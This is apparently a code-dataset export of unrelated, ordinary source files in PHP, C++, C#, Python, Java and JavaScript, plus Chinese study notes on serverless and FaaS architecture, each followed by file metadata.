<?php if(!isset($_GET["entity"])) { header("Location: entitySelect.php"); exit; } $type = 0; // video category or album category if($_GET["entity"] == "vid") { $type = 4; } else if($_GET["entity"] == "album") { $type = 9; } else { header("Location: entitySelect.php"); exit; } require_once("./includeClasses.php"); $metaInfo = MetaProvider::getMetaInfo($con, $type, null); //index page $title = $metaInfo["title"]; $metaDescription = $metaInfo["description"]; $metaKeywords = $metaInfo["keywords"]; require_once("./includes/header.php"); //IInd parameter = type = null since all in one page. so no need to call EntityProvider::getTotalPageCount() //IIIrd parameter = categoryId = null same all previous $category = new Container($con, null, null, null); echo $category->showAllCategories($type); require_once("./includes/footer.php"); ?>
C++
UTF-8
778
2.859375
3
[]
no_license
#pragma once #include "packages/image_codec/include/image_encoder_interface.h" #include "png.h" #include <vector> namespace image_codec { /// /// PngEncoder class that encodes Images into png format /// class PngEncoder : public ImageEncoder { public: /// /// Creates a PngEncoder object that can create compress Images by encoding the image data in png format /// \param compressionLevel : (0 - 9) parameter that determines the how much space is saved after compression /// PngEncoder(int compressionLevel); ~PngEncoder(); /// Takes a hal::Image as input and outputs a hal::Image with image data encoded in png format bool encode(const hal::Image& uncompressedImage, hal::Image& compressedImage); private: int m_compressionLevel; }; }
C#
UTF-8
2,433
2.625
3
[]
no_license
using AutoMapper; using Conf.Api.Models; using Conference.Domain; using Conference.Services; using Microsoft.AspNetCore.Mvc; using System; using System.Collections.Generic; using System.Linq; using System.Threading.Tasks; namespace Conf.Api.Controllers { [Route("api/[controller]")] [ApiController] public class WorkshopsController : ControllerBase { private readonly IWorkshopService service; private readonly IMapper mapper; public WorkshopsController(IWorkshopService service, IMapper mapper) { this.service = service; this.mapper = mapper; } [HttpGet] public ActionResult<IEnumerable<WorkshopDto>> GetAll() { var workshops = service.GetAllWorkshops(); return Ok(mapper.Map<IEnumerable<WorkshopDto>>(workshops)); } [HttpGet("{id}", Name = "GetById")] public ActionResult<WorkshopDto> GetById(int id) { var workshops = service.GetWorkshopById(id); if (workshops != null) { return Ok(mapper.Map<WorkshopDto>(workshops)); } return NotFound($"Workshop with ID: {id} was not found"); } [HttpPost] public ActionResult<WorkshopDto> Create(WorkshopDto workshopDto) { var model = mapper.Map<Workshop>(workshopDto); service.Add(model); service.Save(); var workshopRead = mapper.Map<WorkshopDto>(model); return CreatedAtRoute(nameof(GetById), new { Id = workshopDto.ID }, workshopRead); } [HttpPut("{id}")] public ActionResult Update(int id, WorkshopDto workshopUpdateDto) { var model = service.GetWorkshopById(id); if (model == null) { return NotFound(); } mapper.Map(workshopUpdateDto, model); service.Update(model); service.Save(); return NoContent(); } [HttpDelete("{id}")] public ActionResult Delete(int id) { var workshop = service.GetWorkshopById(id); if (workshop == null) { return NotFound($"The workshop with Id: {id} does not exist"); } service.Delete(workshop); service.Save(); return NoContent(); } } }
Python
UTF-8
251
3.671875
4
[]
no_license
def linear_search(search_array,element_to_search): low = 0 high = len(search_array) - 1 while (low <= high): if search_array[low] == element_to_search: return low else: low = low + 1 return -1
Python
UTF-8
1,510
3.296875
3
[]
no_license
import random def get_remaining_distance(pos,goal): return goal - pos def get_remaining_time(start,goal,speed): distance = get_remaining_distance(start,goal) return distance/speed goal = 2525 rem_time = get_remaining_time(2400,goal,5) print(rem_time) print(goal/rem_time) #horses = [(120,60),(60,90)] horses = [(2400,5)] def get_max_time(goal,horses): maxspeeds = [] for start,maxspeed in horses: rem_time = get_remaining_time(start,goal,maxspeed) maxspeeds.append(goal/rem_time) maxspeeds.sort() return maxspeeds[0] def stresstest(cases=100,maxn = 1000): for _ in range(cases): horses = [] goal = random.randint(1,10000) for _ in range(maxn): horses.append((random.randint(0,goal-1),random.randint(1,100))) print(get_max_time(goal,horses)) # print(get_max_time(2525,horses)) # print(get_max_time(300,[(120,60),(60,90)])) # print(get_max_time(100,[(80,100),(70,10)])) # stresstest() with open('alarge.in') as infile: with open('aoutlarge.out','w') as outfile: cases = int(infile.readline()) for casenum in range(cases): goal, numhorses = [int(a) for a in infile.readline().split()] horses = [] for _ in range(numhorses): startpos, horsespeed = [int(a) for a in infile.readline().split()] horses.append((startpos,horsespeed)) outfile.write("Case #" + str(casenum+1) + ": " + str(get_max_time(goal,horses)) + "\n")
Java
UTF-8
5,416
2.234375
2
[]
no_license
/* * To change this template, choose Tools | Templates * and open the template in the editor. */ package estatistica; import friends.FriendDao; import java.io.IOException; import java.io.PrintWriter; import java.sql.ResultSet; import java.sql.SQLException; import java.text.DateFormat; import java.text.ParseException; import java.text.SimpleDateFormat; import java.util.Date; import java.util.logging.Level; import java.util.logging.Logger; import javax.servlet.RequestDispatcher; import javax.servlet.ServletException; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import javax.servlet.http.HttpSession; import users.UserDao; /** * * @author snk */ public class doEstatistica extends HttpServlet { /** * Processes requests for both HTTP <code>GET</code> and <code>POST</code> methods. * @param request servlet request * @param response servlet response * @throws ServletException if a servlet-specific error occurs * @throws IOException if an I/O error occurs */ protected void processRequest(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException, SQLException, ParseException { response.setContentType("text/html;charset=UTF-8"); PrintWriter out = response.getWriter(); try { HttpSession session = request.getSession(); int user_id = Integer.parseInt(session.getAttribute("user_id").toString()); estatisticaDao _estatisticaDao = new estatisticaDao(); FriendDao _friendDao = new FriendDao(); UserDao _userDao = new UserDao(); String inicio; inicio = request.getParameter("deAno") + "/" + request.getParameter("deMes") + "/" + request.getParameter("deDia"); String fim; fim = request.getParameter("ateAno") + "/" + request.getParameter("ateMes") + "/" + request.getParameter("ateDia"); DateFormat formatar = new SimpleDateFormat("yyyy/MM/dd"); int _amigo = Integer.parseInt(request.getParameter("amigo")); try { java.sql.Date start = new java.sql.Date(formatar.parse(inicio).getTime()); java.sql.Date end = new java.sql.Date(formatar.parse(fim).getTime()); if (inicio.equals(fim) && inicio.equals("2012/1/1")){ try { start = _estatisticaDao.WeekLess(); end = _estatisticaDao.Now(); } catch (Exception e){ out.println(e.getMessage()); } } request.setAttribute("startDate", start); request.setAttribute("endDate", end); request.setAttribute("amigo", _amigo); RequestDispatcher rd = request.getRequestDispatcher("resultadoEstatistica.jsp"); rd.forward(request,response); } catch (ParseException ex) { throw new RuntimeException(ex); } //response.sendRedirect("estatisticas.jsp"); }finally { out.close(); } } // <editor-fold defaultstate="collapsed" desc="HttpServlet methods. Click on the + sign on the left to edit the code."> /** * Handles the HTTP <code>GET</code> method. * @param request servlet request * @param response servlet response * @throws ServletException if a servlet-specific error occurs * @throws IOException if an I/O error occurs */ @Override protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { try { try { processRequest(request, response); } catch (ParseException ex) { Logger.getLogger(doEstatistica.class.getName()).log(Level.SEVERE, null, ex); } } catch (SQLException ex) { Logger.getLogger(doEstatistica.class.getName()).log(Level.SEVERE, null, ex); } } /** * Handles the HTTP <code>POST</code> method. * @param request servlet request * @param response servlet response * @throws ServletException if a servlet-specific error occurs * @throws IOException if an I/O error occurs */ @Override protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { try { try { processRequest(request, response); } catch (ParseException ex) { Logger.getLogger(doEstatistica.class.getName()).log(Level.SEVERE, null, ex); } } catch (SQLException ex) { Logger.getLogger(doEstatistica.class.getName()).log(Level.SEVERE, null, ex); } } /** * Returns a short description of the servlet. * @return a String containing servlet description */ @Override public String getServletInfo() { return "Short description"; }// </editor-fold> }
Java
UTF-8
345
3.265625
3
[]
no_license
public class Latihan //nama class yg harus sama dengan nama filenya { //di bawah ini adalah method utama yang akan dieksekusi oleh java public static void main (String[] args) { int age = 21; //inisialisasi variabel age dengan tipe data integer System.out.println(age > 50 ? "You are old" : "You are young"); //cetak "You are young" } }
C++
UTF-8
10,421
2.765625
3
[ "MIT" ]
permissive
#include <iostream> #define construct typedef struct null {}; namespace Bitwise { template<int First, int Second> struct And { static constexpr int result = First & Second; }; template<int First, int Second> struct Or { static constexpr int result = First | Second; }; template<int First, int Second> struct LeftBitShift { static constexpr int result = First << Second; }; template<int First, int Second> struct RightBitShift { static constexpr int result = First >> Second; }; } enum Color { RED = 0x00FF0000, GREEN = 0x0000FF00, BLUE = 0x000000FF, WHITE = Bitwise::Or<Bitwise::Or<RED, GREEN>::result, BLUE>::result, BLACK = Bitwise::And<Bitwise::And<RED, GREEN>::result, BLUE>::result }; template<int r, int g, int b> struct RGB { static constexpr int Red = r; static constexpr int Green = g; static constexpr int Blue = b; }; template<int _color> struct RGB_From_Color { static constexpr int Red = Bitwise::RightBitShift<Bitwise::And <_color, 0x00FF0000>::result, 0x10>::result; static constexpr int Green = Bitwise::RightBitShift<Bitwise::And <_color, 0x0000FF00>::result, 0x08>::result; static constexpr int Blue = Bitwise::RightBitShift<Bitwise::And <_color, 0x000000FF>::result, 0x00>::result; }; template<int x, int y, typename _RGB> struct pixel { static constexpr int X = x; static constexpr int Y = y; static constexpr int Red = _RGB::Red; static constexpr int Green = _RGB::Green; static constexpr int Blue = _RGB::Blue; }; struct _int_0x14_byte { const int X_coor; const int Y_coor; const int RED; const int GREEN; const int BLUE; constexpr _int_0x14_byte(int F, int S, int r, int g, int b) : X_coor(F), Y_coor(S), RED(r), GREEN(g), BLUE(b) {} constexpr _int_0x14_byte() : X_coor(0), Y_coor(0), RED(0), GREEN(0), BLUE(0) {} }; typedef _int_0x14_byte __int20; constexpr int ModifiedNumberOfArgumentsInOf__int20 = (sizeof(__int20) - 0x01)/sizeof(int); template<typename pix> struct PixelEncoder { static constexpr __int20 encode = __int20( pix::X, pix::Y, pix::Red, pix::Green, pix::Blue ); }; template<size_t sz, typename...px> struct __Bitmap { static constexpr int BitmapPixelSize = sz; static constexpr int BitmapLightPixelsListSize = sizeof...(px); static constexpr __int20 LightBitmap[sizeof...(px)] = { PixelEncoder<px>::encode... }; }; template<size_t Size> struct Combine { static int FinalArray[Size*Size * sizeof(__int20)]; static int* perform(const __int20* lightPixels, size_t sizeOfPixelList) { size_t count = 0; while (count != sizeOfPixelList) { for (size_t i = 0; i != Size*Size; ++i) { __int20 tmp = lightPixels[count]; if (i != (tmp.X_coor)*Size + (tmp.Y_coor)) { FinalArray[i * 4] = i; FinalArray[(i * 4) + 1] = 0; FinalArray[(i * 4) + 2] = 0; FinalArray[(i * 4) + 3] = 0; } else { FinalArray[i * 4] = (tmp.X_coor)*Size + (tmp.Y_coor); FinalArray[(i * 4) + 1] = tmp.RED; FinalArray[(i * 4) + 2] = tmp.GREEN; FinalArray[(i * 4) + 3] = tmp.BLUE; ++count; } } } return FinalArray; } }; template<size_t Size> int Combine<Size>::FinalArray[Size*Size * sizeof(__int20)] = { 0 }; /* Here is the code for SmallBitmap */ namespace SmallBitmap { template<int Coord, typename _RGB> struct EncodedPixel { static constexpr int coordinate = Coord; static constexpr int Red_Value = _RGB::Red; static constexpr int Green_Value = _RGB::Green; static constexpr int Blue_Value = _RGB::Blue; }; template<typename FirstEncodedPixel, typename... EncPx> struct ListOfPixels { typedef FirstEncodedPixel head; typedef ListOfPixels<EncPx...> rest; }; template<typename FirstEncodedPixel> struct ListOfPixels<FirstEncodedPixel> { typedef FirstEncodedPixel head; typedef null rest; }; template<typename... _ListOfPixel> struct ConcatanatePixels; template<typename EncPx_first, typename EncPx_others, typename... EncPx, typename... EncPx_2, typename... rest> struct ConcatanatePixels<ListOfPixels<EncPx_first, EncPx...>, ListOfPixels<EncPx_others, EncPx_2...>, rest...> { typedef ListOfPixels<EncPx_first, EncPx_others, EncPx..., EncPx_2...> first_two; typedef typename ConcatanatePixels<first_two, rest...>::result result; }; template<typename EncPx_first, typename... EncPx> struct ConcatanatePixels<ListOfPixels<EncPx_first, EncPx...>> { typedef ListOfPixels<EncPx_first, EncPx...> result; }; template<typename EncPx_first> struct ConcatanatePixels<EncPx_first> { typedef ListOfPixels<EncPx_first> result; }; template<typename EncPx_first> struct ConcatanatePixels<EncPx_first, ListOfPixels<null>> { typedef ListOfPixels<EncPx_first> result; }; template<int at, typename list, typename EncPx> struct SubstitudeAt { typedef ListOfPixels<typename list::head> HeadList; typedef typename SubstitudeAt<at - 1, typename list::rest, EncPx>::result TailList; typedef typename ConcatanatePixels<HeadList, TailList>::result result; }; template<typename list, typename EncPx> struct SubstitudeAt<0, list, EncPx> { typedef ListOfPixels<EncPx> temp_result; typedef typename ConcatanatePixels<temp_result, typename list::rest>::result result; }; template<int begin, int end> struct ZeroList { typedef RGB<0, 0, 0> Black; typedef EncodedPixel<begin, Black> InitialDense_Pixel; typedef ListOfPixels<InitialDense_Pixel> HeadList; typedef typename ZeroList<begin + 1, end>::result TailList; typedef typename ConcatanatePixels<HeadList, TailList>::result result; }; template<int end> struct ZeroList<end, end> { typedef RGB<0, 0, 0> Black; typedef EncodedPixel<end, Black> InitialDense_Pixel; typedef ListOfPixels<InitialDense_Pixel> result; }; template struct ZeroList<90, 500>; template struct ZeroList<180, 500>; template struct ZeroList<270, 500>; template struct ZeroList<360, 500>; template struct ZeroList<450, 500>; template<int _Size, typename list, typename _List> struct ListMaker; template<int _Size, typename list, typename First_EncPx, typename ...EncPxs> struct ListMaker<_Size, list, ListOfPixels<First_EncPx, EncPxs...>> { static constexpr int temp_coord = First_EncPx::coordinate; typedef typename SubstitudeAt<temp_coord, list, First_EncPx>::result substituted_list; typedef typename ListMaker<_Size, substituted_list, ListOfPixels<EncPxs...>>::result result; }; template<int _Size, typename list, typename First_EncPx> struct ListMaker<_Size, list, ListOfPixels<First_EncPx>> { static constexpr int temp_coord = First_EncPx::coordinate; typedef typename SubstitudeAt<temp_coord, list, First_EncPx>::result result; }; template<int Square_Size, typename _ListOfPixels> struct SmallBitmap { static constexpr int SquareSize = Square_Size; typedef _ListOfPixels ListOfProvidedPixels; typedef typename ZeroList<0, Square_Size>::result blackList; typedef typename ListMaker<Square_Size, blackList, _ListOfPixels>::result result; }; template<typename SBitmap1, typename... SBitmaps> struct Add_SmallBitmaps { static constexpr int SquareSize = SBitmap1::SquareSize; typedef typename SBitmap1::ListOfProvidedPixels ListOfProvidedPixels; typedef typename ConcatanatePixels<ListOfProvidedPixels, typename Add_SmallBitmaps<SBitmaps...>::ListOfProvidedPixels>::result _result; typedef typename SmallBitmap<SquareSize, _result>::result result; }; template<typename SBitmap_last> struct Add_SmallBitmaps<SBitmap_last> { static constexpr int SquareSize = SBitmap_last::SquareSize; typedef typename SBitmap_last::ListOfProvidedPixels ListOfProvidedPixels; }; template<typename list> struct Print { static void pr() { std::cout << list::head::coordinate << "-> R: " << list::head::Red_Value << "-> G: " << list::head::Green_Value << "-> B: " << list::head::Blue_Value << std::endl; Print<typename list::rest>::pr(); } }; template<> struct Print<null> { static void pr() { } }; } template<size_t __sz, typename...__px> struct Bitmap { static constexpr int BitmapPixelSize = __Bitmap<__sz, __px...>::BitmapPixelSize; static constexpr int BitmapLightPixelsListSize = __Bitmap<__sz, __px...>::BitmapLightPixelsListSize; static constexpr __int20 LightBitmap[sizeof...(__px)] = __Bitmap<__sz, __px...>::LightBitmap; static int* DecodedPixelList; }; template<size_t __sz, typename...__px> int* Bitmap<__sz, __px...>::DecodedPixelList = Combine<__Bitmap<__sz, __px...>::BitmapPixelSize>::perform( __Bitmap<__sz, __px...>::LightBitmap, __Bitmap<__sz, __px...>::BitmapLightPixelsListSize ); struct Print { static void print(int* _bitmapList, size_t sz) { for (size_t i = 0; i != sz*sz; ++i) { std::cout << "Pixel (" << i / sz << "," << i - (i / sz)*sz << "):" << std::endl; std::cout << *(_bitmapList + (4 * i)) << std::endl; std::cout << *(_bitmapList + (4 * i) + 1) << std::endl; std::cout << *(_bitmapList + (4 * i) + 2) << std::endl; std::cout << *(_bitmapList + (4 * i) + 3) << std::endl; std::cout << "....." << std::endl; } } }; int main() { construct RGB<102, 11, 76> BLENDEDCOLOR; construct RGB_From_Color<Color::WHITE> WHITE; construct pixel<1, 2, BLENDEDCOLOR> px1; construct pixel<9, 6, WHITE> px2; construct pixel<9, 9, WHITE> px3; constexpr int sz1 = 10; construct Bitmap<sz1, px1, px2, px3> bitmap; Print::print ( bitmap::DecodedPixelList, bitmap::BitmapPixelSize ); construct SmallBitmap::SmallBitmap<500, SmallBitmap::ListOfPixels< SmallBitmap::EncodedPixel<1, WHITE>, SmallBitmap::EncodedPixel<12, WHITE>, SmallBitmap::EncodedPixel<15, WHITE>, SmallBitmap::EncodedPixel<45, WHITE>, SmallBitmap::EncodedPixel<96, WHITE>, SmallBitmap::EncodedPixel<127, WHITE> > > bitmap_2; construct SmallBitmap::SmallBitmap<500, SmallBitmap::ListOfPixels< SmallBitmap::EncodedPixel<201, WHITE>, SmallBitmap::EncodedPixel<196, WHITE> > > bitmap_3; construct SmallBitmap::Add_SmallBitmaps<bitmap_2, bitmap_3>::result AddedBitmaps; SmallBitmap::Print<AddedBitmaps>::pr(); SmallBitmap::Print<bitmap_2::result>::pr(); }
Markdown
UTF-8
7,319
2.59375
3
[]
no_license
# serverLess技术调研 # 摘要 ## serverless > **广义的 Serverless 是指:构建和运行软件时不需要关心服务器的一种架构思想。** 虽然 Serverless 翻译过来是 “无服务器”,但这并不代表着应用运行不需要服务器,而是开发者不需要关心服务器。**而基于 Serverless 思想实现的软件架构就是 Serverless 架构。** > > from : [到底什么是 Serverless? - 知乎 (zhihu.com):https://zhuanlan.zhihu.com/p/404236938](https://zhuanlan.zhihu.com/p/404236938) serverless的目标:基础设施越来越完善,不再关心系统管理,也不关心服务器运转、代码的部署和监控日志等,我们只关心怎样以最快的速度把代码变成Service。 > Serverless 最基本的配套设施,包括底层资源的伸缩、编排,还有全栈的可观测性和服务治理。服务治理听着很重,SOA才需要这些,但今天有那么几个还是需要的:**服务注册发现、健康检查、配置、容错,最后还有流量**;如果不管理好流量,流量在对外API,也很难做。 > > **可观测性**: 希望看到这样的关联图,从最前端的、直接服务于客户的API,到后面的Service,Service用了哪些中间件,这些中间件又运作在哪个资源上 > > **健康检查**:快速故障定位和SLA的报告,容量分析,强调的是整体往下设计,说白了,就是干掉运维人员,开发人员就是运维人员。 > > **流量管理**: ![image-20210915115353596](C:\Users\MI\AppData\Roaming\Typora\typora-user-images\image-20210915115353596.png) > > **服务注册发现**: 服务启动以后怎么注册,怎么被发现,支持灰度的多版本怎么做。一定要看服务视角,而不是资源视角,CMDB非常重要,但是一定是在服务,或者API视角 > > ![image-20210915115512394](C:\Users\MI\AppData\Roaming\Typora\typora-user-images\image-20210915115512394.png) > > > > from :[左耳朵耗子:Serverless 究竟是什么? ](https://mp.weixin.qq.com/s?__biz=MzI2NDU4OTExOQ%3D%3D&chksm=eaa89ef9dddf17ef7c8d2efa066190eca5a6ec1bd7996308a41b5945093985ac628085020354&idx=1&mid=2247517353&scene=21&sn=d11d27ab406f7239e2cfbef7f163fc09#wechat_redirect) 整体解决方案参考: 整体架构图参考: ![image-20210915140047651](C:\Users\MI\AppData\Roaming\Typora\typora-user-images\image-20210915140047651.png) ![image-20210916180646936](C:\Users\MI\AppData\Roaming\Typora\typora-user-images\image-20210916180646936.png) from : https://blog.csdn.net/yunqiinsight/article/details/114632379 ## FaaS: FaaS拥有下面的特点: 1. FaaS里的应用逻辑单元都可以看作是一个函数,开发人员只关注如何实现这些逻辑,而不用提前考虑性能优化,让工作聚焦在这个函数里,而非应用整体。 2. FaaS是无状态的,天生满足云原生(Cloud Native App)应用该满足的12因子(12 Factors)中对状态的要求。无状态意味着本地内存、磁盘里的数据无法被后续的操作所使用。大部分的状态需要依赖于外部存储,比如数据库、网络存储等。 3. FaaS的函数应当可以快速启动执行,并拥有短暂的生命周期。函数在有限的时间里启动并处理任务,并在返回执行结果后终止。如果它执行时间超过了某个阈值,也应该被终止。 4. FaaS函数启动延时受很多因素的干扰。以AWS Lambda为例,如果采用了JS或Python实现了函数,它的启动时间一般不会超过10~100毫秒。但如果是实现在JVM上的函数,当遇到突发的大流量或者调用间隔过长的情况,启动时间会显著变长。 5. FaaS需要借助于API Gateway将请求的路由和对应的处理函数进行映射,并将响应结果代理返回给调用方。 **Fission**是一款基于Kubernetes的FaaS框架。通过Fission可以轻而易举地将函数发布成HTTP服务。它通过读取用户的源代码,抽象出容器镜像并执行。 平台整体设计: FaaS平台的整体核心架构主要由网关、运行时容器、一站式运维发布平台、基础服务等组成: ![image-20210915143946721](C:\Users\MI\AppData\Roaming\Typora\typora-user-images\image-20210915143946721.png) 网关层主要负责接受函数调用请求,通过函数的唯一标识及函数的集群信息分发函数调用到对应集群的机器环境中执行。 函数容器层是整个系统的核心,主要通过函数执行引擎进行实例的调用执行,同时负责函数实例的生命周期管理,包括按需加载、代码预热、实例卸载回收等工作。 一站式发布运维平台(FaaS Platform)是面向开发者的主要操作平台,开发者在平台上进行函数编写、版本提交发布、回滚、监控运维等一系列工作。整个监控体系打通了集团的基础服务监控体系,,可以提供实时大盘,集群性能等基本监控指标的查询功能。 整个FaaS平台建立在集团中间件以及优酷内容分发依赖的各基础服务之上,通过良好的封装向开发者提供简洁的服务调用方式,同时函数本身的执行都是运行在互相隔离的环境中,通过统一的函数实例管理,进行函数的调度、执行监控、动态管理等。 整体技术栈服务端容器层主要是采用Java实现,结合中间件完成整个容器层的主要功能。 ![image-20210915144941645](C:\Users\MI\AppData\Roaming\Typora\typora-user-images\image-20210915144941645.png) from : https://baijiahao.baidu.com/s?id=1674248518601562853&wfr=spider&for=pc FaaS 的入口是事件 # 开源项目 OpenFaaS:[https://github.com/openfaas/faas ](https://github.com/openfaas/faas ) # 参考资料 [到底什么是 Serverless? - 知乎 (zhihu.com):https://zhuanlan.zhihu.com/p/404236938](https://zhuanlan.zhihu.com/p/404236938) [阿里云 Serverless Developer Meetup | 上海站-技术公开课-阿里云开发者社区 (aliyun.com):(https://developer.aliyun.com/live/246653](https://developer.aliyun.com/live/246653) [Serverless + 低代码,让技术小白也能成为全栈工程师?_QcloudCommunity的博客-CSDN博客:https://blog.csdn.net/QcloudCommunity/article/details/118347455](https://blog.csdn.net/QcloudCommunity/article/details/118347455) [左耳朵耗子:Serverless 究竟是什么? ](https://mp.weixin.qq.com/s?__biz=MzI2NDU4OTExOQ%3D%3D&chksm=eaa89ef9dddf17ef7c8d2efa066190eca5a6ec1bd7996308a41b5945093985ac628085020354&idx=1&mid=2247517353&scene=21&sn=d11d27ab406f7239e2cfbef7f163fc09#wechat_redirect) [苗立尧.《Faas,又一个未来?》:http://www.uml.org.cn/zjjs/202001023.asp](http://www.uml.org.cn/zjjs/202001023.asp) [阿里技术.《如何落地一个FaaS平台》:https://baijiahao.baidu.com/s?id=1674248518601562853&wfr=spider&for=pc](https://baijiahao.baidu.com/s?id=1674248518601562853&wfr=spider&for=pc) [函数计算 (aliyun.com):https://help.aliyun.com/product/50980.html](https://help.aliyun.com/product/50980.html) [深入浅出 Serverless:优势、意义与应用 - 知乎 (zhihu.com):https://zhuanlan.zhihu.com/p/96656001](https://zhuanlan.zhihu.com/p/96656001) [前言 · Knative 入门中文版 (servicemesher.com)](https://www.servicemesher.com/getting-started-with-knative/preface.html)
Java
UTF-8
1,205
2.578125
3
[]
no_license
package model; import java.util.HashMap; /** * * @author victo */ public class Tickets { private String id; private ticketOffice ticketOffice1; private Room room; private Projections pro; private Movie mov; public Tickets(String num, ticketOffice ticketOffice2, Room room1, Projections project, Movie movie1) { this.id = num; this.ticketOffice1=ticketOffice2; this.room=room1; this.pro=project; this.mov=movie1; } public String getId() { return id; } public void setId(String id) { this.id = id; } public ticketOffice getTicketOffice1() { return ticketOffice1; } public void setTicketOffice1(ticketOffice ticketOffice1) { this.ticketOffice1 = ticketOffice1; } public Room getRoom() { return room; } public void setRoom(Room room) { this.room = room; } public Projections getPro() { return pro; } public void setPro(Projections pro) { this.pro = pro; } public Movie getMov() { return mov; } public void setMov(Movie mov) { this.mov = mov; } }
Python
UTF-8
468
2.609375
3
[ "LicenseRef-scancode-public-domain", "Unlicense" ]
permissive
from gnome.spills.initializers import InitRiseVelFromDist from gnome.utilities.distributions import UniformDistribution import pytest def test_init_InitRiseVelFromDist(): ud = UniformDistribution(1,1) rise_vel = InitRiseVelFromDist(ud) assert isinstance(rise_vel,InitRiseVelFromDist) def test_badDist_InitRiseVelFromDist(): ud = 'This should be a distribution' with pytest.raises(TypeError): rise_vel = InitRiseVelFromDist(ud)
Python
UTF-8
1,210
2.71875
3
[]
no_license
import gdal import sys import os import glob2 import csv import time start_time = time.time() # this allows GDAL to throw Python Exceptions gdal.UseExceptions() # Script will recursively go through subdirectories and report information about each tif image. If there is # a corrupt image it will add an entry to a csv. place script in parent folder and run. lst = glob2.glob('**\*.tif') for file in lst: try: jpg = gdal.Open(file) # print gtif.GetMetadata() statinfo = os.stat(file) size = statinfo.st_size / 1e6 cols = jpg.RasterXSize rows = jpg.RasterYSize print(file, ' -- ', size, 'Mb') # print size, "Mb" print(" bands", jpg.RasterCount, ' -- ', cols, "cols x ", rows, " rows") # print cols, " cols x ", rows, " rows" jpg = None except RuntimeError as e: print('Unable to open ' + file) print(e) x = file, e # print x # sys.exit(1) with open('image_errors.csv', 'a') as csvfile: wr = csv.writer(csvfile, delimiter=',') wr.writerow(x) print("--- %s seconds ---" % (time.time() - start_time)) print(len(lst), 'files')
Java
UTF-8
2,349
3.625
4
[]
no_license
// Prof. Lixin Tao, Pace University, September 9, 2003 // A class to generate all r combination sets of base set // {0, ..., n-1} in lexicographic order, where n and r are // positive integers, and r <= n public class CombinationGenerator { private int n; // Size of the base set private int r; // Size of a combination set private boolean isFirstTime; // Flag, true iff nextCombination() is // called the first time private int p[]; // Buffer for returning the next combination // Constructor for generating r combinations out of {0, ..., n-1} public CombinationGenerator(int n, int r) { if (r > n || n < 1) throw new IllegalArgumentException(); this.n = n; this.r = r; isFirstTime = true; p = new int[r]; } // return true iff there are more combinations to return public boolean hasMore() { // return false iff p[] = {n-r, n-(r-1), ..., n-1} (last combination) int i = r - 1; while ((i >= 0) && (p[i] == n - r + i)) i--; return (i >= 0); } // Generate next combination in lexicographic order // Algorithm from Rosen' Discrete Mathematics, p. 286 public int[] nextCombination() { if (isFirstTime) { isFirstTime = false; for (int i = 0; i < r; i++) // Generate the smallest combination p[i] = i; return p; } int i = r - 1; while (p[i] == n - r + i) i--; p[i] = p[i] + 1; for (int j = i + 1; j < r; j++) p[j] = p[i] + j - i; return p; } // Normally not called; provide a demo of how to use this class public static void main(String[] args) { String[] elements = {"a", "b", "c", "d", "e", "f", "g"}; int[] indices; // Generate all 3-combinations of {"a", "b", "c", "d", "e", "f", "g"} CombinationGenerator x = new CombinationGenerator(elements.length, 3); StringBuffer combination; int count = 0; // count the number of generated combinations while (x.hasMore()) { count++; combination = new StringBuffer(); indices = x.nextCombination(); for (int i = 0; i < indices.length; i++) combination.append(elements[indices[i]]); System.out.println(combination.toString ()); } System.out.println(count + " combinations have been generated"); } }
JavaScript
UTF-8
1,492
2.671875
3
[]
no_license
//javascript of index.html const ipc = require('electron').ipcRenderer; const selectDirBtn = document.getElementById('select-directory'); const selectFileBtn = document.getElementById('select-file'); const saveFileBtn = document.getElementById('save-file'); const infoDialogBtn = document.getElementById('info'); const errorDialogBtn = document.getElementById('error'); const questionDialogBtn = document.getElementById('question'); const noneDialogBtn = document.getElementById('none'); selectDirBtn.addEventListener('click', function(event){ ipc.send('open-directory-dialog'); }); ipc.on('selectedItem', function(event, path){ document.getElementById('selectedItem').innerHTML = `PATH: ${path}` }); selectFileBtn.addEventListener('click', function(event){ ipc.send('open-file-dialog'); }); ipc.on('content-file', function(event, path){ document.getElementById('content-file').innerHTML = `${path}` }); saveFileBtn.addEventListener('click', function(event){ ipc.send('save-file-dialog', 'info'); }); infoDialogBtn.addEventListener('click', function(event){ ipc.send('display-dialog', 'info'); }); errorDialogBtn.addEventListener('click', function(event){ ipc.send('display-dialog', 'error') }); questionDialogBtn.addEventListener('click', function(event){ ipc.send('display-dialog', 'question') }); noneDialogBtn.addEventListener('click', function(event){ ipc.send('display-dialog', 'none') });
Java
UTF-8
312
1.953125
2
[]
no_license
package cache.file.v2; /** * * A DefaultExector should be thread-safe. * * @author jiangzhao * @date Mar 21, 2017 * @version V1.0 */ public class DefaultExecutor implements Executor { @Override public void execute(Context context) { // TODO Auto-generated method stub } }
Python
UTF-8
1,139
3.546875
4
[]
no_license
def combinations(iterable, r): # combinations('ABCD', 2) --> AB AC AD BC BD CD # combinations(range(4), 3) --> 012 013 023 123 pool = tuple(iterable) n = len(pool) if r > n: return indices = range(r) yield tuple(pool[i] for i in indices) while True: for i in reversed(range(r)): if indices[i] != i + n - r: break else: return indices[i] += 1 for j in range(i+1, r): indices[j] = indices[j-1] + 1 yield tuple(pool[i] for i in indices) def combinations_with_replacement(iterable, r): # combinations_with_replacement('ABC', 2) --> AA AB AC BB BC CC pool = tuple(iterable) n = len(pool) if not n and r: return indices = [0] * r yield tuple(pool[i] for i in indices) while True: for i in reversed(range(r)): if indices[i] != n - 1: break else: return indices[i:] = [indices[i] + 1] * (r - i) yield tuple(pool[i] for i in indices) s = combinations_with_replacement('ABCD', 3) for ss in s: print (ss)
Markdown
UTF-8
3,069
2.734375
3
[ "LicenseRef-scancode-unknown-license-reference", "CC-BY-4.0", "LicenseRef-scancode-public-domain", "MIT" ]
permissive
